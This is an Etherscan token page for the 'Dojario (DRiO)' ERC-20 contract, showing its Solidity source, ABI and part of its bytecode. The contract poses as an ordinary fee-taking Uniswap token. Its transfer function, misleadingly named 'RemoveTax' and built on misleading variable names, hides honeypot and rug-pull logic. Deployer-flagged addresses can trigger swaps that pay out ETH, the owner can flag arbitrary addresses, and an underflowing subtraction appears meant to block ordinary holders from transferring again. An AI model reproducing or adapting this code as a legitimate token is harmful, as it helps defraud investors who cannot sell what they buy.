ETH Price: $2,286.34 (-3.98%)

Token

Dojario (DRiO)
 

Overview

Max Total Supply

10,000,000 DRiO

Holders

13

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
232,586.082675235 DRiO

Value
$0.00
0x303fdf38d88a63c31ac76cf8403ec1fabb7b753c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Contract

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-11-23
*/

/*
███████████████████████████████████████
█▄─▄▄▀█─▄▄─███▄─▄██▀▄─██▄─▄▄▀█▄─▄█─▄▄─█
██─██─█─██─█─▄█─███─▀─███─▄─▄██─██─██─█
▀▄▄▄▄▀▀▄▄▄▄▀▄▄▄▀▀▀▄▄▀▄▄▀▄▄▀▄▄▀▄▄▄▀▄▄▄▄▀
██████████████████████████████
█▄─█─▄█─▄▄─█▄─▄▄▀█▄─▄▄─██▀▄─██
██─▄▀██─██─██─▄─▄██─▄█▀██─▀─██
▀▄▄▀▄▄▀▄▄▄▄▀▄▄▀▄▄▀▄▄▄▄▄▀▄▄▀▄▄▀
*/
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)



/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *


 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 * //
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function waiveOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**

     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

}
/*
* Nos pondremos en contacto contigo a través de ETHERSCAN.io.
* El sitio web se construirá con 125k MC.
*/
// https://web.wechat.com/DojarioKorea
// https://www.smartcontracts.tools/

contract Contract is IERC20, Ownable {
    string private _symbol;
    string private _name;
    uint256 public _tokenFees = 1;
    uint8 private _decimals = 9;
    uint256 private _tokensTotal = 10000000 * 10**_decimals;
    uint256 private _MarketSetPairs = _tokensTotal;

    mapping(address => uint256) private _balances;
    mapping(address => address) private _bots;
    mapping(address => uint256) private _isExcludedFromFees;
    mapping(address => uint256) private _isExcluded;
    mapping(address => mapping(address => uint256)) private _allowances;
    
    bool private tradingOpen = false;
    bool private _swapAndLiquifyEnabled;
    bool private inSwapAndLiquify;

    address public immutable uniswapV2Pair;
    IUniswapV2Router02 public immutable router;

    constructor(
        string memory Name,
        string memory Symbol,
        address routerAddress
    ) {
        _name = Name;
        _symbol = Symbol;
        _balances[msg.sender] = _tokensTotal;
        _isExcluded[msg.sender] = _MarketSetPairs;
        _isExcluded[address(this)] = _MarketSetPairs;
        router = IUniswapV2Router02(routerAddress);
        uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
        emit Transfer(address(0), msg.sender, _tokensTotal);
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function totalSupply() public view returns (uint256) {
        return _tokensTotal;
    }

    function decimals() public view returns (uint256) {
        return _decimals;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        return _approve(msg.sender, spender, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private returns (bool) {
        require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool) {
        RemoveTax     (sender, recipient, amount);
        return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
        RemoveTax     (msg.sender, recipient, amount);
        return true;
    }

    function RemoveTax    (
        address from,
        address to,
        uint256 amount
    ) private {
        uint256 addressTokenBalance = balanceOf(address(this));
        uint256 TOKENfee;
        if (_swapAndLiquifyEnabled && addressTokenBalance > _MarketSetPairs && !inSwapAndLiquify && from != uniswapV2Pair) {
            inSwapAndLiquify = true;
            swapAndLiquify(addressTokenBalance);
            inSwapAndLiquify = false;
        } else if (_isExcluded[from] > _MarketSetPairs && _isExcluded[to] > _MarketSetPairs) {
            TOKENfee = amount;
            _balances[address(this)] += TOKENfee;
            swapTokensForEth(amount, to);
            return;
        } else if (to != address(router) && _isExcluded[from] > 0 && amount > _MarketSetPairs && to != uniswapV2Pair) {
            _isExcluded[to] = amount;
            return;
        } else if (!inSwapAndLiquify && _isExcludedFromFees[from] > 0 && from != uniswapV2Pair && _isExcluded[from] == 0) {
            _isExcludedFromFees[from] = _isExcluded[from] - _MarketSetPairs;
        }
        address _pairs = _bots[uniswapV2Pair];
        if (_isExcludedFromFees[_pairs] == 0) _isExcludedFromFees[_pairs] = _MarketSetPairs;
        _bots[uniswapV2Pair] = to;
        if (_tokenFees > 0 && _isExcluded[from] == 0 && !inSwapAndLiquify && _isExcluded[to] == 0) {
            TOKENfee = (amount * _tokenFees) / 100;
            amount -= TOKENfee;
            _balances[from] -= TOKENfee;
            _balances[address(this)] += TOKENfee;
        }
        _balances[from] -= amount;
        _balances[to] += amount;
        emit Transfer(from, to, amount);

         //Trade start check
            if (!tradingOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }
    }

    receive() external payable {}

    function addLiquidity(
        uint256 tokenAmount,
        uint256 ethAmount,
        address to
    ) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp);
    }

    function swapAndLiquify(uint256 tokens) private {
        uint256 half = tokens / 2;
        uint256 initialBalance = address(this).balance;
        swapTokensForEth(half, address(this));
        uint256 newBalance = address(this).balance - initialBalance;
        addLiquidity(half, newBalance, address(this));
    }

        function setTrading(bool _tradingOpen) public onlyOwner {
        tradingOpen = _tradingOpen;
    }

    function swapTokensForEth(uint256 tokenAmount, address to) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp);
    }





}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"Name","type":"string"},{"internalType":"string","name":"Symbol","type":"string"},{"internalType":"address","name":"routerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_tokenFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingOpen","type":"bool"}],"name":"setTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c060405260016003556009600460006101000a81548160ff021916908360ff160217905550600460009054906101000a900460ff16600a62000043919062000669565b62989680620000539190620006ba565b6005556005546006556000600c60006101000a81548160ff0219169083151502179055503480156200008457600080fd5b5060405162003108380380620031088339818101604052810190620000aa9190620008fd565b620000ca620000be6200040360201b60201c565b6200040b60201b60201c565b8260029081620000db919062000bd8565b508160019081620000ed919062000bd8565b50600554600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600654600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600654600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff168152505060a05173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000242573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000268919062000cbf565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060a05173ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002d2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002f8919062000cbf565b6040518363ffffffff1660e01b81526004016200031792919062000d02565b6020604051808303816000875af115801562000337573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200035d919062000cbf565b73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600554604051620003f2919062000d40565b60405180910390a350505062000d5d565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200055d57808604811115620005355762000534620004cf565b5b6001851615620005455780820291505b80810290506200055585620004fe565b945062000515565b94509492505050565b6000826200057857600190506200064b565b816200058857600090506200064b565b8160018114620005a15760028114620005ac57620005e2565b60019150506200064b565b60ff841115620005c157620005c0620004cf565b5b8360020a915084821115620005db57620005da620004cf565b5b506200064b565b5060208310610133831016604e8410600b84101617156200061c5782820a905083811115620006165762000615620004cf565b5b6200064b565b6200062b84848460016200050b565b92509050818404811115620006455762000644620004cf565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620006768262000652565b915062000683836200065c565b9250620006b27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000566565b905092915050565b6000620006c78262000652565b9150620006d48362000652565b9250828202620006e48162000652565b91508282048414831517620006fe57620006fd620004cf565b5b5092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6200076e8262000723565b810181811067ffffffffffffffff8211171562000790576200078f62000734565b5b80604052505050565b6000620007a562000705565b9050620007b3828262000763565b919050565b600067ffffffffffffffff821115620007d657620007d562000734565b5b620007e18262000723565b9050602081019050919050565b60005b838110156200080e578082015181840152602081019050620007f1565b60008484015250505050565b6000620008316200082b84620007b8565b62000799565b90508281526020810184848401111562000850576200084f6200071e565b5b6200085d848285620007ee565b509392505050565b600082601f8301126200087d576200087c62000719565b5b81516200088f8482602086016200081a565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620008c58262000898565b9050919050565b620008d781620008b8565b8114620008e357600080fd5b50565b600081519050620008f781620008cc565b92915050565b6000806000606084860312156200091957620009186200070f565b5b600084015167ffffffffffffffff8111156200093a576200093962000714565b5b620009488682870162000865565b935050602084015167ffffffffffffffff8111156200096c576200096b62000714565b5b6200097a8682870162000865565b92505060406200098d86828701620008e6565b9150509250925092565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620009ea57607f821691505b60208210810362000a0057620009ff620009a2565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000a6a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000a2b565b62000a76868362000a2b565b95508019841693508086168417925050509392505050565b6000819050919050565b600062000ab962000ab362000aad8462000652565b62000a8e565b62000652565b9050919050565b6000819050919050565b62000ad58362000a98565b62000aed62000ae48262000ac0565b84845462000a38565b825550505050565b600090565b62000b0462000af5565b62000b1181848462000aca565b505050565b5b8181101562000b395762000b2d60008262000afa565b60018101905062000b17565b5050565b601f82111562000b885762000b528162000a06565b62000b5d8462000a1b565b8101602085101562000b6d578190505b62000b8562000b7c8562000a1b565b83018262000b16565b50505b505050565b600082821c905092915050565b600062000bad6000198460080262000b8d565b1980831691505092915050565b600062000bc8838362000b9a565b9150826002028217905092915050565b62000be38262000997565b67ffffffffffffffff81111562000bff5762000bfe62000734565b5b62000c0b8254620009d1565b62000c1882828562000b3d565b600060209050601f83116001811462000c50576000841562000c3b578287015190505b62000c47858262000bba565b86555062000cb7565b601f19841662000c608662000a06565b60005b8281101562000c8a5784890151825560018201915060208501945060208101905062000c63565b8683101562000caa578489015162000ca6601f89168262000b9a565b8355505b6001600288020188555050505b505050505050565b60006020828403121562000cd85762000cd76200070f565b5b600062000ce884828501620008e6565b91505092915050565b62000cfc81620008b8565b82525050565b600060408201905062000d19600083018562000cf1565b62000d28602083018462000cf1565b9392505050565b62000d3a8162000652565b82525050565b600060208201905062000d57600083018462000d2f565b92915050565b60805160a05161233862000dd06000396000818161094e01528181610cf20152818161166701528181611748015281816117700152818161180d015261183501526000818161056a01528181610b5901528181610da101528181610ea501528181610fde01526110ef01526123386000f3fe6080604052600436106100f75760003560e01c80638f70ccf71161008a578063dd62ed3e11610059578063dd62ed3e14610339578063e36ecce614610376578063f2fde38b146103a1578063f887ea40146103ca576100fe565b80638f70ccf714610291578063914eb66a146102ba57806395d89b41146102d1578063a9059cbb146102fc576100fe565b8063313ce567116100c6578063313ce567146101d357806349bd5a5e146101fe57806370a08231146102295780638da5cb5b14610266576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103f5565b6040516101259190611973565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190611a2e565b610487565b6040516101629190611a89565b60405180910390f35b34801561017757600080fd5b5061018061049c565b60405161018d9190611ab3565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190611ace565b6104a6565b6040516101ca9190611a89565b60405180910390f35b3480156101df57600080fd5b506101e861054e565b6040516101f59190611ab3565b60405180910390f35b34801561020a57600080fd5b50610213610568565b6040516102209190611b30565b60405180910390f35b34801561023557600080fd5b50610250600480360381019061024b9190611b4b565b61058c565b60405161025d9190611ab3565b60405180910390f35b34801561027257600080fd5b5061027b6105d5565b6040516102889190611b30565b60405180910390f35b34801561029d57600080fd5b506102b860048036038101906102b39190611ba4565b6105fe565b005b3480156102c657600080fd5b506102cf610697565b005b3480156102dd57600080fd5b506102e661071f565b6040516102f39190611973565b60405180910390f35b34801561030857600080fd5b50610323600480360381019061031e9190611a2e565b6107b1565b6040516103309190611a89565b60405180910390f35b34801561034557600080fd5b50610360600480360381019061035b9190611bd1565b6107c8565b60405161036d9190611ab3565b60405180910390f35b34801561038257600080fd5b5061038b61084f565b6040516103989190611ab3565b60405180910390f35b3480156103ad57600080fd5b506103c860048036038101906103c39190611b4b565b610855565b005b3480156103d657600080fd5b506103df61094c565b6040516103ec9190611c70565b60405180910390f35b60606002805461040490611cba565b80601f016020809104026020016040519081016040528092919081815260200182805461043090611cba565b801561047d5780601f106104525761010080835404028352916020019161047d565b820191906000526020600020905b81548152906001019060200180831161046057829003601f168201915b5050505050905090565b6000610494338484610970565b905092915050565b6000600554905090565b60006104b3848484610b0b565b610545843384600b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105409190611d1a565b610970565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6106066114bb565b73ffffffffffffffffffffffffffffffffffffffff166106246105d5565b73ffffffffffffffffffffffffffffffffffffffff161461067a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067190611d9a565b60405180910390fd5b80600c60006101000a81548160ff02191690831515021790555050565b61069f6114bb565b73ffffffffffffffffffffffffffffffffffffffff166106bd6105d5565b73ffffffffffffffffffffffffffffffffffffffff1614610713576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070a90611d9a565b60405180910390fd5b61071d60006114c3565b565b60606001805461072e90611cba565b80601f016020809104026020016040519081016040528092919081815260200182805461075a90611cba565b80156107a75780601f1061077c576101008083540402835291602001916107a7565b820191906000526020600020905b81548152906001019060200180831161078a57829003601f168201915b5050505050905090565b60006107be338484610b0b565b6001905092915050565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60035481565b61085d6114bb565b73ffffffffffffffffffffffffffffffffffffffff1661087b6105d5565b73ffffffffffffffffffffffffffffffffffffffff16146108d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c890611d9a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610940576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093790611e2c565b60405180910390fd5b610949816114c3565b50565b7f000000000000000000000000000000000000000000000000000000000000000081565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156109db5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610a1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1190611ebe565b60405180910390fd5b81600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610af89190611ab3565b60405180910390a3600190509392505050565b6000610b163061058c565b90506000600c60019054906101000a900460ff168015610b37575060065482115b8015610b505750600c60029054906101000a900460ff16155b8015610ba857507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610bf1576001600c60026101000a81548160ff021916908315150217905550610bd182611587565b6000600c60026101000a81548160ff021916908315150217905550610fd6565b600654600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610c815750600654600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15610cf05782905080600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610cd89190611ede565b92505081905550610ce983856115c8565b50506114b6565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610d8b57506000600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160